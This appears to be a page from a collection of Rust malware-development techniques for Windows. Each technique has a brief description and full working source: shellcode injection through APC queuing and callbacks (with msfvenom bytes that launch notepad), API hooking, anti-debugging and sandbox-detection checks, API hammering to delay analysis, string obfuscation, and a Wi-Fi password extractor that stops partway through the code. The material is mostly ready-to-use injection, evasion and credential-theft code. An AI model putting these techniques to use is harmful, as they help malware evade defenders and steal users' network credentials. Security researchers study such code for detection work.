Rust

▼ A

▼ APC Injection

This project exploits the Asynchronous Code Injection (APC) technique to execute malicious code in target processes.

```
use std::{
    ffi::c_void,
    ptr::copy_nonoverlapping,
};
use windows::Win32::System::Memory::{
    VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERV
E, PAGE_EXECUTE_READWRITE,
    PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
};
use windows::Win32::System::Threading::{
    CreateThread, QueueUserAPC, ResumeThread, SleepEx, W
aitForSingleObject, INFINITE,
    THREAD_CREATION_FLAGS,
};

fn main() {
    // msfvenom -p windows/x64/exec CMD=notepad.exe -f r
ust
    let buf: [u8; 279] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b,
0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48,
0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
```

```
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48,
0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00,
0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40,
0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01,
0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58,
0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40,
0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58,
0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52,
0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d,
0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01,
0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
        0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56,
0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41,
0x89, 0xda, 0xff, 0xd5, 0x6e, 0x6f, 0x74,
        0x65, 0x70, 0x61, 0x64, 0x2e, 0x65, 0x78, 0x65,
0x00,
    ];
    unsafe {
        let hthread = CreateThread(
            None,
            0,
```

```
            Some(function),
            None,
            THREAD_CREATION_FLAGS(0),
            None,
        ).unwrap_or_else(|e| panic!("[!] CreateThread Fa
iled With Error: {e}"));

        let address = VirtualAlloc(
            None,
            buf.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        );

        copy_nonoverlapping(buf.as_ptr() as _, address,
buf.len());

        let mut oldprotect = PAGE_PROTECTION_FLAGS(0);
        VirtualProtect(address, buf.len(), PAGE_EXECUTE_
READWRITE, &mut oldprotect).unwrap_or_else(|e| {
            panic!("[!] VirtualProtect Failed With Erro
r: {e}");
        });

        QueueUserAPC(Some(std::mem::transmute(address)),
hthread, 0);

        ResumeThread(hthread);

        WaitForSingleObject(hthread, INFINITE);
    }
}

unsafe extern "system" fn function(_param: *mut c_void)
-> u32 {
    SleepEx(INFINITE, true);
```

```
    return 0;
}
```

▼ API Hooking

Demonstration on API hooking which is a programming technique that allows you to intercept and manipulate calls to Windows API functions.

```
use std::{mem::size_of, os::raw::c_void, ptr::copy, ff
i::{c_char, CStr}};
use windows::{
    core::{s, w},
    Win32::{
        Foundation::HWND,
        System::LibraryLoader::{GetProcAddress, LoadLibr
aryA},
        System::Memory::{VirtualProtect, PAGE_EXECUTE_RE
ADWRITE, PAGE_PROTECTION_FLAGS},
        UI::WindowsAndMessaging::{MessageBoxA, MessageBo
xW, MESSAGEBOX_STYLE},
        UI::WindowsAndMessaging::{MB_OK, MESSAGEBOX_RESU
LT},
    },
};

extern "system" fn my_message_box_a(
    hwnd: HWND,
    lp_text: *const c_char,
    lp_caption: *const c_char,
    u_type: MESSAGEBOX_STYLE,
) -> MESSAGEBOX_RESULT {
    let c_str_text = unsafe { CStr::from_ptr(lp_text) };
    let text = c_str_text.to_string_lossy();

    let c_str_caption = unsafe { CStr::from_ptr(lp_capti
```

```
on) };
    let caption = c_str_caption.to_string_lossy();

    println!("[+] Parameters sent by the original functi
on:");
    println!("\t - text    : {}", text);
    println!("\t - caption : {}", caption);

    unsafe { MessageBoxW(hwnd, w!("HOOK"), w!("ENABLE
D!"), u_type) }
}

struct Hook {
    #[cfg(target_arch = "x86_64")]
    bytes_original: [u8; 13],
    #[cfg(target_arch = "x86")]
    bytes_original: [u8; 7],
    function_run: *mut c_void,
    function_hook: *mut c_void,
}

impl Hook {
    fn new(function_run: *mut c_void, function_hook: *mu
t c_void) -> Self {
        Hook {
            #[cfg(target_arch = "x86_64")]
            bytes_original: [0; 13],
            #[cfg(target_arch = "x86")]
            bytes_original: [0; 7],
            function_run,
            function_hook,
        }
    }

    fn initialize(&mut self, trampoline: &[u8], old_prot
ect: &mut PAGE_PROTECTION_FLAGS) -> bool {
```

```
        unsafe {
            copy(
                self.function_hook,
                self.bytes_original.as_mut_ptr() as *mut
c_void,
                trampoline.len(),
            );

            let result = VirtualProtect(
                self.function_hook,
                trampoline.len(),
                PAGE_EXECUTE_READWRITE,
                old_protect,
            );
            if result.is_err() {
                println!("[!] VirtualProtect Failed With
Error {:?}", result.err());
                return false;
            }
        }
        true
    }

    fn install_hook(&self, trampoline: &mut [u8]) {

        unsafe {
            copy(
                &self.function_run as  *const _ as *cons
t c_void,
                trampoline[2..].as_mut_ptr() as *mut c_v
oid,
                size_of::<*mut c_void>(),
            );

            copy(
                trampoline.as_ptr() as *const c_void,
```

```
                self.function_hook,
                trampoline.len(),
            );
        }
    }
}

fn main() {
    #[cfg(target_arch = "x86_64")]
    let mut trampoline: [u8; 13] = [
        0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, // mov r10, function
        0x41, 0xFF, 0xE2, // jmp r10
    ];

    #[cfg(target_arch = "x86")]
    let mut trampoline: [u8; 7] = [
        0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, functi
on
        0xFF, 0xE0, // jmp eax
    ];

    let hmodule = unsafe { LoadLibraryA(s!("user32.dl
l")).unwrap() };
    let func = unsafe { GetProcAddress(hmodule, s!("Mess
ageBoxA")).unwrap() };

    let mut hook = Hook::new(my_message_box_a as *mut c_
void, func as *mut c_void);

    let mut oldprotect = PAGE_PROTECTION_FLAGS(0);

    if hook.initialize(&mut trampoline, &mut oldprotect)
{
        hook.install_hook(&mut trampoline);
    } else {
```

```
        println!("[!] Failed to Apply Hook!");
        return;
    }

    unsafe {

        MessageBoxA(HWND(0), s!("Test Message"), s!("Tes
t"), MB_OK);

        println!("[+] Hook disabled");
        copy(
            hook.bytes_original.as_ptr(),
            hook.function_hook as *mut u8,
            trampoline.len(),
        );

        let mut d_old_protect = PAGE_PROTECTION_FLAGS
(0);
        let protection_address = VirtualProtect(hook.fun
ction_hook, trampoline.len(), oldprotect, &mut d_old_pro
tect);

        if protection_address.is_err() {
            println!("[!] VirtualProtect Failed With Err
or {:?}", protection_address.err());
            return ;
        }

        MessageBoxA(HWND(0), s!("Test Message"), s!("Tes
t"), MB_OK);
    }

    println!("[+] Finish");
}
```

▼ Anti-Debug

Techniques Anti-Debugging.

```
use std::arch::asm;
use sysinfo::System;
use windows::Win32::System::Diagnostics::Debug::{
    GetThreadContext, IsDebuggerPresent, CONTEXT, CONTEX
T_DEBUG_REGISTERS_AMD64
};
use windows::Win32::System::Threading::{GetCurrentThrea
d, PEB, TEB};
use windows::Win32::System::Kernel::NT_TIB;

fn main() {
    is_debugger_present();
    is_debugger_peb();
    process_list();
    breakpoint_hardware();
    std::thread::sleep(std::time::Duration::from_secs(20
000));
}

fn is_debugger_present() {
    unsafe {
        if IsDebuggerPresent().into() {
            println!("[!] Debugger Detected!");
        }
    }
}

fn is_debugger_peb() {
    unsafe {
        let peb = get_peb();
```

```
        if (*peb).BeingDebugged == 1 {
            println!("[!] Debugger Detected! [2]");
        }
    }
}

fn process_list() {
    let list = vec![
        "x64dbg.exe",
        "ida.exe",
        "ida64.exe",
        "VsDebugConsole.exe",
        "msvsmon.exe",
        "x32dbg.exe"
    ];

    let mut system = System::new_all();

    system.refresh_all();

    for (_pid, process) in system.processes() {
        for name in &list {
            if process.name() == *name {
                println!("[!] Debugger Detected! [3]");
            }
        }
    }
}

fn breakpoint_hardware() {
    let mut ctx = CONTEXT::default();

    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS_AMD64;

    unsafe { GetThreadContext(GetCurrentThread(), &mut c
tx).unwrap_or_else(|e| {
```

```
        println!("[!] GetThreadContext Failed With Erro
r: {e}");
    }) };

    if ctx.Dr0 != 0 || ctx.Dr1 != 0 || ctx.Dr2 != 0 || c
tx.Dr3 != 0 {
        println!("[!] Debugger Detected! [4]");
    }
}

// Function to recover PEB
unsafe fn get_peb() -> *mut PEB {
    let teb_offset = ntapi::FIELD_OFFSET!(NT_TIB, Self_)
as u32;

    #[cfg(target_arch = "x86_64")]
    {
        let teb = __readgsqword(teb_offset) as *mut TEB;
        return (*teb).ProcessEnvironmentBlock;
    }

    #[cfg(target_arch = "x86")]
    {
        let teb = __readfsdword(teb_offset) as *mut TEB;
        return (*teb).ProcessEnvironmentBlock;
    }
}

#[cfg(target_arch = "x86_64")]
unsafe fn __readgsqword(offset: u32) -> u64 {
    let output: u64;
    asm!(
        "mov {}, gs:[{:e}]",
        lateout(reg) output,
        in(reg) offset,
        options(nostack, pure, readonly),
```

```
    );
    output
}

#[cfg(target_arch = "x86")]
unsafe fn __readfsdword(offset: u32) -> u32 {
    let output: u32;
    asm!(
        "mov {:e}, fs:[{:e}]",
        lateout(reg) output,
        in(reg) offset,
        options(nostack, pure, readonly),
    );
    output
}
```

▼ API Hammering

API Hammering consists of carrying out various actions to delay the malware.

```
use std::fs::{remove_file, File};
use std::io::{Read, Write};
use rand::{thread_rng, Rng};
use std::env;

// 1 Method
fn api_hammering(num: usize) -> std::io::Result<()> {
    let dir = env::temp_dir();
    let file_path = dir.as_path().join("file.tmp");
    let buffer_size = 0xFFFFF;

    for _ in 0..num {
        // Creates the file and writes random data
        let mut file = File::create(&file_path)?;
        let mut rng = thread_rng();
```

```
        let data: Vec<u8> = (0..buffer_size).map(|_| rn
g.gen()).collect();
        file.write_all(&data)?;

        // Read written data
        let mut file = File::open(&file_path)?;
        let mut buffer = vec![0; buffer_size];
        file.read_exact(&mut buffer)?;
    }

    remove_file(file_path)?;

    Ok(())
}

// 2 Method
// https://github.com/chvancooten/maldev-for-dummies/blo
b/main/Exercises/Exercise%203%20-%20Basic%20AV%20Evasio
n/solutions/rust/src/basic_av_evasion.rs#L29
#[no_mangle]
#[inline(never)]
fn calc_primes(iterations: usize) {
    let mut prime = 2;
    let mut i = 0;
    while i < iterations {
        if (2..prime).all(|j| prime % j != 0) {
            i += 1;
        }
        prime += 1;
    }
}


fn main() {
    println!("[+] First method triggered");
    let number = 2000; // Defines the number of times th
```

```
e API will be "hammered"
    match api_hammering(number) {
        Ok(_) => println!("[+] API Hammering successfull
y completed!"),
        Err(e) => println!("[!] Error during API hammeri
ng: {}", e),
    }

    println!("[+] Second method triggered");
    calc_primes(number)
}
```

▼ Anti-Analysis

Techniques Anti-Analysis.

```
use sysinfo::System;
use windows::core::{s, PSTR};
use windows::Win32::System::SystemInformation::{
    GetSystemInfo, GlobalMemoryStatusEx, MEMORYSTATUSEX,
SYSTEM_INFO,
};

use windows::Win32::System::Registry::{
    RegCloseKey, RegOpenKeyExA, RegQueryInfoKeyA, HKEY,
HKEY_LOCAL_MACHINE, KEY_READ,
};

fn main() {
    verify_usb();
    verify_ram();
    verify_cpu();
    verify_processes();
}

/*
```

```
    Function that performs a check on the CPU to find ou
t how many processors the computer contains.

*/
fn verify_cpu() {
    let mut info: SYSTEM_INFO = SYSTEM_INFO::default();

    unsafe {
        GetSystemInfo(&mut info);
    }

    if info.dwNumberOfProcessors < 2 {
        println!("[*] Possibly a virtualised environmen
t")
    }
}

/*

 Function that performs a check of the current physical
memory in bytes and in it we are checking if it is great
er than or equal to two gigabytes in bytes.

*/
fn verify_ram() {
    let mut info: MEMORYSTATUSEX = MEMORYSTATUSEX::defau
lt();
    info.dwLength = std::mem::size_of::<MEMORYSTATUSEX>
() as u32;

    unsafe {
        let _ = GlobalMemoryStatusEx(&mut info).expect
("GlobalMemoryStatusEx Failed");

        if info.ullTotalPhys <= 2 * 1073741824 {
```

```
            println!("[*] Possibly a virtualised environ
ment")
        }
    }
}

/*

  The SYSTEM\ControlSet001\Enum\USBSTOR directory in the
Windows Registry is a specific location where the operat
ing system
  stores information about USB storage devices that have
been connected to the computer.

  Possibly if the computer didn't have 2 usb mounted, it
may be in a virtualised environment

*/
fn verify_usb() {
    let mut h_key: HKEY = HKEY::default();
    let mut usb_number: u32 = 0;
    let mut class_name_buffer = [0u8; 256];
    let mut class_name_length = class_name_buffer.len()
as u32;

    unsafe {
        let status = RegOpenKeyExA(
            HKEY_LOCAL_MACHINE,
            s!("SYSTEM\\ControlSet001\\Enum\\USBSTOR"),
            0,
            KEY_READ,
            &mut h_key,
        );

        if status.is_err() {
            println!("RegOpenKeyExA Failed");
```

```
            return;
        }

        let status = RegQueryInfoKeyA(
            h_key,
            PSTR(class_name_buffer.as_mut_ptr()),
            Some(&mut class_name_length),
            None,
            Some(&mut usb_number),
            None,
            None,
            None,
            None,
            None,
            None,
            None,
        );

        if status.is_err() {
            println!("RegQueryInfoKeyA Failed");
            return;
        }

        if usb_number < 2 {
            println!("[*] Possibly a virtualised environ
ment");
            return;
        }

        let _ = RegCloseKey(h_key);
    }
}

/*

  Check if the environment can be sandboxed through the
```

```
number of processes running

  */
fn verify_processes() {
    let mut system = System::new_all();
    system.refresh_all();

    let number_processes = system.processes().len();

    if number_processes <= 50 {
        println!("[*] Possibly a sandbox environment");
    }
}
```

▼ B

▼ Binary Info

This is just a simple demonstration in case you want to include metadata in your Rust binary or change the associated icon.

▼ Block DLL Policy

Avoiding the loading of DLLS not signed by Microsoft.

```
use std::{ptr::null_mut, ffi::c_void};
use windows::core::PSTR;
use windows::Win32::System::{
    Memory::{GetProcessHeap, HeapAlloc, HEAP_ZERO_MEMOR
Y},
    SystemServices::{
        PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY, PROC
ESS_MITIGATION_BINARY_SIGNATURE_POLICY_0,
    },
    Threading::{
        CreateProcessA, DeleteProcThreadAttributeList, I
nitializeProcThreadAttributeList,
```

```
        ProcessSignaturePolicy, SetProcessMitigationPoli
cy, UpdateProcThreadAttribute,
        EXTENDED_STARTUPINFO_PRESENT, LPPROC_THREAD_ATTR
IBUTE_LIST, PROCESS_INFORMATION,
        PROCESS_MITIGATION_POLICY, PROC_THREAD_ATTRIBUTE
_MITIGATION_POLICY, STARTUPINFOEXA,
        STARTUPINFOW_FLAGS,
    },
};

const PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICRO
SOFT_BINARIES_ALWAYS_ON: u64 = 0x00000001u64 << 44;

fn main() {
    create_process_block_dll();
    // current_process_block_dll();
}

fn current_process_block_dll() {
    unsafe {
        let mut policy = PROCESS_MITIGATION_BINARY_SIGNA
TURE_POLICY {
            Anonymous: PROCESS_MITIGATION_BINARY_SIGNATU
RE_POLICY_0 { Flags: 0 },
        };
        policy.Anonymous.Flags |= 1 << 0;
        let _ = SetProcessMitigationPolicy(
            PROCESS_MITIGATION_POLICY(ProcessSignaturePo
licy.0),
            &policy as *const _ as *const _,
            std::mem::size_of_val(&policy),
        );
    }
}

fn create_process_block_dll() {
```

```
    let mut process_information = PROCESS_INFORMATION::d
efault();
    let mut startup_info = STARTUPINFOEXA::default();
    startup_info.StartupInfo.cb = std::mem::size_of::<ST
ARTUPINFOEXA>() as u32;
    startup_info.StartupInfo.dwFlags = STARTUPINFOW_FLAG
S(EXTENDED_STARTUPINFO_PRESENT.0);
    let mut attr_size: usize = 0;
    unsafe {
        let _ = InitializeProcThreadAttributeList(
            LPPROC_THREAD_ATTRIBUTE_LIST(null_mut()),
            1,
            0,
            &mut attr_size,
        );

        let attr_list = LPPROC_THREAD_ATTRIBUTE_LIST(Hea
pAlloc(
            GetProcessHeap().unwrap(),
            HEAP_ZERO_MEMORY,
            attr_size,
        ));

        let _ = InitializeProcThreadAttributeList(attr_l
ist, 1, 0, &mut attr_size);

        let policy = PROCESS_CREATION_MITIGATION_POLICY_
BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
        let _ = UpdateProcThreadAttribute(
            attr_list,
            0,
            PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY as u
size,
            Some(&policy as *const _ as *const c_void),
            std::mem::size_of::<u64>(),
            None,
```

```
            None,
        );

        let windir = std::env::var("WINDIR").unwrap() +
"\\System32\\SystemSettingsBroker.exe";
        startup_info.lpAttributeList = attr_list;
        let _ = CreateProcessA(
            None,
            PSTR(windir.as_ptr() as _),
            None,
            None,
            false,
            EXTENDED_STARTUPINFO_PRESENT,
            None,
            None,
            &startup_info.StartupInfo,
            &mut process_information,
        );

        DeleteProcThreadAttributeList(attr_list);
    }
}
```

▼ C

▼ Create Driver

It's a project to demonstrate how to create a simple driver using rust.

▼ lib.rs

```
#![no_std]

#[allow(unused_imports)]
use core::panic::PanicInfo;
use winapi::{
    km::wdm::{DbgPrint, DRIVER_OBJECT},
```

```
    shared::{ntdef::{NTSTATUS, UNICODE_STRING}, ntsta
tus::STATUS_SUCCESS},
};

#[cfg(not(test))]
#[panic_handler]
fn panic(_info: &PanicInfo) -> ! {
    loop {}
}

#[no_mangle]
pub extern "system" fn driver_entry(driver_object: &m
ut DRIVER_OBJECT, _: &UNICODE_STRING) -> NTSTATUS {
    driver_object.DriverUnload = Some(driver_unload);

    unsafe {
        DbgPrint("Hello World!\0".as_ptr() as _,);
    }

    STATUS_SUCCESS
}

pub extern "system" fn driver_unload(_driver: &mut DR
IVER_OBJECT) {
    unsafe {
        DbgPrint("GoodBye!\0".as_ptr() as _);
    }
}
```

▼ build.rs

```
use std::path::PathBuf;
use thiserror::Error;
use winreg::enums::HKEY_LOCAL_MACHINE;
use winreg::RegKey;
```

```
#[derive(Debug, Error)]
pub enum Error {
    #[error(transparent)]
    IoError(#[from] std::io::Error),
    #[error("cannot find the directory")]
    DirectoryNotFound,
}

pub enum DirectoryType {
    Include,
    Library,
}

/// Retrieves the path to the Windows Kits directory.
The default should be
/// `C:\Program Files (x86)\Windows Kits\10`.
pub fn get_windows_kits_dir() -> Result<PathBuf, Erro
r> {
    let hklm = RegKey::predef(HKEY_LOCAL_MACHINE);
    let key = r"SOFTWARE\Microsoft\Windows Kits\Insta
lled Roots";
    let dir: String = hklm.open_subkey(key)?.get_valu
e("KitsRoot10")?;

    Ok(dir.into())
}

/// Retrieves the path to the kernel mode libraries.
The path may look something like:
/// `C:\Program Files (x86)\Windows Kits\10\lib\10.0.
18362.0\km`.
pub fn get_km_dir(dir_type: DirectoryType) -> Result<
PathBuf, Error> {
    // We first append lib to the path and read the d
irectory..
```

```
    let dir = get_windows_kits_dir()?
        .join(match dir_type {
            DirectoryType::Include => "Include",
            DirectoryType::Library => "Lib",
        })
        .read_dir()?;

    // In the lib directory we may have one or more d
irectories named after the version of Windows,
    // we will be looking for the highest version num
ber.
    let dir = dir
        .filter_map(|dir| dir.ok())
        .map(|dir| dir.path())
        .filter(|dir| {
            dir.components()
                .last()
                .and_then(|c| c.as_os_str().to_str())
                .map(|c| c.starts_with("10.") && dir.
join("km").is_dir())
                .unwrap_or(false)
        })
        .max()
        .ok_or_else(|| Error::DirectoryNotFound)?;

    // Finally append km to the path to get the path
to the kernel mode libraries.
    Ok(dir.join("km"))
}

pub fn build() -> Result<(), Error> {
    // Get the path to the kernel libraries.
    let dir = get_km_dir(DirectoryType::Library).unwr
ap();

    // Append the architecture based on our target.
```

```
    let target = std::env::var("TARGET").unwrap();

    let arch = if target.contains("x86_64") {
        "x64"
    } else if target.contains("i686") {
        "x86"
    } else {
        panic!("The target {} is currently not suppor
ted.", target);
    };

    let dir = dir.join(arch);

    // Specify the link path.
    println!("cargo:rustc-link-search=native={}", di
r.to_str().unwrap());

    // Ensure the right linker flags are passed for b
uilding a driver.
    println!("cargo:rustc-link-arg=/NODEFAULTLIB");
    println!("cargo:rustc-link-arg=/SUBSYSTEM:NATIV
E");
    println!("cargo:rustc-link-arg=/DRIVER");
    println!("cargo:rustc-link-arg=/DYNAMICBASE");
    println!("cargo:rustc-link-arg=/MANIFEST:NO");
    println!("cargo:rustc-link-arg=/ENTRY:driver_entr
y");
    println!("cargo:rustc-link-arg=/MERGE:.edata=.rda
ta");
    println!("cargo:rustc-link-arg=/MERGE:.rustc=.dat
a");
    println!("cargo:rustc-link-arg=/INTEGRITYCHECK");

    Ok(())
}
```

```
fn main() {
    build().unwrap();
}
```

▼ Create DLL

It's a project to demonstrate how to create dll using rust.

```
use windows::Win32::Foundation::{BOOL, HINSTANCE, HWND};
use windows::core::s;
use windows::Win32::System::SystemServices::DLL_PROCESS_
ATTACH;
use windows::Win32::UI::WindowsAndMessaging::MessageBox
A;

#[no_mangle]
#[allow(non_snake_case, unused_variables)]
extern "system" fn DllMain(hinstance: HINSTANCE, reason:
u32, _: *mut std::ffi::c_void) -> BOOL {
    match reason {
        DLL_PROCESS_ATTACH => {
            unsafe {
                MessageBoxA(HWND(0), s!("Hello"), s!("dl
l"), Default::default());
            }
        },
        _ => {}
    }
    true.into()
}
```

▼ Callback Code Execution

Demonstration of shellcode execution via callback.

```
use windows::Win32::System::Memory::{VirtualAlloc, MEM_C
OMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
```

```
use windows::Win32::Globalization::{EnumCalendarInfoA, C
AL_SMONTHNAME1, ENUM_ALL_CALENDARS};
fn main() {

    // msfvenom -p windows/x64/exec CMD=notepad.exe -f r
ust
    let shellcode: [u8; 279] = [0xfc,0x48,0x83,0xe4,0xf
0,0xe8,0xc0,
    0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x
48,0x31,
    0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x
48,0x8b,
    0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x
4a,0x4d,
    0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x
2c,0x20,
    0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x
41,0x51,
    0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x
8b,0x80,
    0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x
01,0xd0,
    0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0x
d0,0xe3,
    0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0x
d6,0x4d,
    0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x
41,0x01,
    0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x
45,0x39,
    0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0x
d0,0x66,
    0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0x
d0,0x41,
    0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x
5e,0x59,
```

```
    0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x
20,0x41,
    0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0x
e9,0x57,
    0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x
00,0x00,
    0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0x
ba,0x31,
    0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x
41,0xba,
    0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x
3c,0x06,
    0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x
72,0x6f,
    0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x
74,0x65,
    0x70,0x61,0x64,0x2e,0x65,0x78,0x65,0x00];

    unsafe {
        let address = VirtualAlloc(None, shellcode.len
(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        std::ptr::copy_nonoverlapping(shellcode.as_ptr()
as _, address, shellcode.len());
        let _ = EnumCalendarInfoA(Some(std::mem::transmu
te(address)), 0x0400, ENUM_ALL_CALENDARS, CAL_SMONTHNAME
1);
    }
}
```

▼ Create UEFI

It's a project to demonstrate how to create uefi using rust.

```
#![no_main]
#![no_std]
```

```
use log::info;
use uefi::prelude::*;

#[entry]
fn main(_image_handle: Handle, mut system_table: SystemT
able<Boot>) -> Status {
    uefi_services::init(&mut system_table).unwrap();
    info!("Hello world!");
    system_table.boot_services().stall(10_000_000);
    Status::SUCCESS
}
```

▼ Compile Encrypt String

Encrypting strings at compile time and decrypting them at runtime.

▼ encrypt_string

▼ lib.rs

```
use proc_macro::TokenStream;
use quote::quote;
use rand::{thread_rng, Rng};
use syn::{parse_macro_input, LitStr};

#[proc_macro]
pub fn encrypt_string(input: TokenStream) -> Token
Stream {
    let input_str = parse_macro_input!(input as Li
tStr);
    let mut rand = thread_rng();
    let key: u8 = rand.gen();
    let encrypted_str = simple_encrypt(&input_str.
value(), key);

    // Generates the Rust code that decrypts the s
```

```
tring at runtime.
    let gen = quote! {
        {
            // Built-in function to decrypt the st
ring
            fn simple_decrypt(input: &str, key: u
8) -> String {
                let input = input.to_string();
                let string_bytes = input.as_bytes
();
                let result: Vec<u8> = string_byte
s.iter().map(|valor| valor ^ key).collect();
                let decrypt = String::from_utf8_lo
ssy(&result);

                decrypt.to_string()
            }

            // The encrypted string is decrypted a
t runtime
            simple_decrypt(#encrypted_str, #key)
        }
    };

    gen.into()
}

// Simplified implementation of cryptography
fn simple_encrypt(input: &str, key: u8) -> String
{
    let string = input.to_string();
    let string_bytes = string.as_bytes();
    let result: Vec<u8> = string_bytes.iter().map
(|valor| valor ^ key).collect();
    let encrypt = String::from_utf8_lossy(&resul
t);
```

```
    encrypt.to_string()
}
```

▼ main.rs

```
use encrypt_string::encrypt_string;

fn main() {
    let nome = encrypt_string!("I'm encrypted!");
    println!("{}", nome);
}
```

▼ E

▼ Extract WIFI

Extracting WIFI passwords using winapis is a customized form of the netsh command.

```
use quick_xml::{events::Event, Reader};
use std::ptr::null_mut;
use windows::{
    core::{HSTRING, PCWSTR, PWSTR},
    Win32::{
        Foundation::{ERROR_SUCCESS, HANDLE},
        NetworkManagement::WiFi::{
            WlanCloseHandle, WlanEnumInterfaces, WlanGet
Profile, WlanGetProfileList,
            WlanOpenHandle, WLAN_API_VERSION_2_0, WLAN_P
ROFILE_GET_PLAINTEXT_KEY,
        },
    },
};
```

```
fn main() {
    unsafe {
        let mut negotiate_version = 0;
        let mut wlan_handle = HANDLE::default();
        let mut result = 0;
        result = WlanOpenHandle(
            WLAN_API_VERSION_2_0,
            None,
            &mut negotiate_version,
            &mut wlan_handle,
        );

        if result != ERROR_SUCCESS.0 {
            panic!("WlanOpenHandle Failed With Error:
{}", result);
        }

        let mut interface = null_mut();
        result = WlanEnumInterfaces(wlan_handle, None, &
mut interface);

        if result != ERROR_SUCCESS.0 {
            WlanCloseHandle(wlan_handle, None);
            panic!("WlanEnumInterfaces Failed With Erro
r: {}", result);
        }

        let interfaces_list = std::slice::from_raw_parts
(
            (*interface).InterfaceInfo.as_ptr(),
            (*interface).dwNumberOfItems as usize,
        );

        for interface in interfaces_list {
            let mut wlan_profiles_ptr = null_mut();
```

```
            result = WlanGetProfileList(
                wlan_handle,
                &interface.InterfaceGuid,
                None,
                &mut wlan_profiles_ptr,
            );

            if result != ERROR_SUCCESS.0 {
                WlanCloseHandle(wlan_handle, None);
                panic!("WlanGetProfileList Failed With E
rror: {}", result);
            }

            let wlan_profile_list = std::slice::from_raw
_parts(
